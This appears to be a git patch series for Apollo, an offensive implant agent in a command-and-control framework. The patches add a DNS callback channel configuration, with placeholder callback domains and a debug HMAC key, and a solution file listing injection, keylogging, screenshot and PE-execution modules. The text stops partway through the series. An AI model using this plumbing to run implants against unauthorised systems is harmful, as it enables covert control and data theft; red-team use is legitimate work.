From 012fd93189c1b1ac4c697571c7155158bc28d064 Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Thu, 23 Dec 2021 01:05:22 -0300 Subject: [PATCH 1/7] DNS Profile added --- .../apollo/agent_code/Apollo/Config.cs | 29 +++++++++++++++++++ .../apollo/mythic/agent_functions/builder.py | 6 +++- 2 files changed, 34 insertions(+), 1 deletion(-) diff --git a/Payload_Type/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/agent_code/Apollo/Config.cs index 64964bdb..6fab38f4 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Config.cs @@ -62,6 +62,35 @@ public static class Config } }, #endif +#if DNS + { "dns", new C2ProfileData() + { + TC2Profile = typeof(DnsProfile), + TCryptography = typeof(PSKCryptographyProvider), + TSerializer = typeof(EncryptedJsonSerializer), + Parameters = new Dictionary() + { +#if DEBUG + { "callback_interval", "5" }, + { "callback_jitter", "0" }, + { "callback_domains", "abc.domain1.com,abc.domain2.com" }, + { "msginit", "init" }, + { "msgdefault", "default" }, + { "hmac_key", "HM4C_K3y@123" }, + { "encrypted_exchange_check", "T" } +#else + { "callback_interval", "callback_interval_here" }, + { "callback_jitter", "callback_jitter_here" }, + { "callback_domains", "callback_domains_here" }, + { "msginit", "msginit_here" }, + { "msgdefault", "msgdefault_here" }, + { "hmac_key", "hmac_key_here" }, + { "encrypted_exchange_check", "encrypted_exchange_check_here" } +#endif + } + } + }, +#endif #if SMB { "smb", new C2ProfileData() { diff --git a/Payload_Type/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/mythic/agent_functions/builder.py index bb5bbdd1..136ac2f9 100644 --- a/Payload_Type/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/mythic/agent_functions/builder.py @@ -30,7 +30,7 @@ class Apollo(PayloadType): description="Output as shellcode, executable, or dynamically loaded library.", ) ] - c2_profiles = ["http", "smb", "tcp"] + c2_profiles = ["http", "smb", "tcp", "dns"] support_browser_scripts = [ BrowserScript(script_name="copy_additional_info_to_clipboard", author="@djhohnstein"), BrowserScript(script_name="create_table", author="@djhohnstein"), @@ -71,6 +71,10 @@ async def build(self) -> BuildResponse: "encrypted_exchange_check": "", "payload_uuid": self.uuid, "AESPSK": "", + "callback_domains": "", + "msginit": "", + "msgdefault": "", + "hmac_key": "", }, } success_message = f"Apollo {self.uuid} Successfully Built" From 5a22be353df2b6292fde4055188c2a06018a8253 Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Fri, 24 Dec 2021 01:59:13 -0300 Subject: [PATCH 2/7] Dns Profile Added --- Payload_Type/apollo/agent_code/Apollo.sln | 508 +++++++++--------- .../apollo/agent_code/Apollo/Apollo.csproj | 286 +++++----- 2 files changed, 406 insertions(+), 388 deletions(-) diff --git a/Payload_Type/apollo/agent_code/Apollo.sln b/Payload_Type/apollo/agent_code/Apollo.sln index d588eb5b..402ae00f 100644 --- a/Payload_Type/apollo/agent_code/Apollo.sln +++ b/Payload_Type/apollo/agent_code/Apollo.sln @@ -1,247 +1,261 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.30413.136 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76} - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30413.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}" +EndProject 